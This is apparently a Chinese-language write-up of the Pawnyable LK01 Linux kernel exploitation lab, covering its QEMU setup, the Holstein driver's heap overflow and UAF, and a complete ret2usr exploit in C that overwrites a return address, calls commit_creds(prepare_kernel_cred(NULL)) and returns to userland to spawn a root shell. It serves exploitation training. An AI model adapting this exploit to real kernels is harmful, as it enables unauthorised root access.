2025-02第三周:pawnyable LK01
每周一pwn系列
LK01
基本信息
run.sh
#!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \ -no-reboot \ -cpu qemu64 \ -smp 1 \ -monitor /dev/null \ -initrd rootfs.cpio \ -net nic,model=virtio \ -net user
没开 kaslr
init
#!/bin/sh ## ## Setup ## mdev -s mount -t proc none /proc mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx stty -opost echo 2 > /proc/sys/kernel/kptr_restrict #echo 1 > /proc/sys/kernel/dmesg_restrict ## ## Install driver ## insmod /root/vuln.ko mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0 ## ## User shell ## echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" echo "[ Holstein v1 (LK01) - Pawnyable ]" setsid cttyhack setuidgid 1337 sh ## ## Cleanup ## umount /proc poweroff -d 0 -f
加载了一个LKM
/root/vuln.ko
为了方便把 kptr_restrict 注释掉
逆向分析
module_initialize
初始化了一个字符设备 “holstein”module_open
分配了一个 0x400 的内存块module_read
module_write
module_close
这里其实还存在一个UAFmodule_cleanup
漏洞利用
很明显,对内核空间的读写没有作任何限制,也没有任何保护
先测溢出点
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/holstein", O_RDWR);
if (fd<0) errExit("DEV Opened Failed!");
char buf[0x420]={0};
*(size_t *)&buf[0x408]=0xdeadbeef;
write(fd, buf, sizeof(buf)); // 0x000000000000020E
return 0;
}
EXP
Ret2usr
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
/* to run the exp on the specific core only */
void bindCore(int core)
{
cpu_set_t cpu_set;
puts("[*] set cpu affinity");
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[x] <Get Root Failed>\033[0m");
}
}
int getRootPrivilige(void)
{
void * (*prepare_kernel_cred)(void *) = (void *)prepare_kernel_cred_addr;
void (*commit_creds)(void *) = (void *)commit_creds_addr;
(*commit_creds)((*prepare_kernel_cred)(NULL));
}
void pwn(void){
getRootPrivilige();
asm volatile(
"swapgs;"
"push %0;"
"push %1;"
"push %2;"
"push %3;"
"push %4;"
"iretq;"
:
:"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(getRootShell)
:"memory"
);
}
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/holstein", O_RDWR);
if (fd<0) errExit("DEV Opened Failed!");
char buf[0x420]={0};
*(size_t *)&buf[0x408]=(size_t)pwn;
write(fd, buf, sizeof(buf)); // 0x000000000000020E
return 0;
}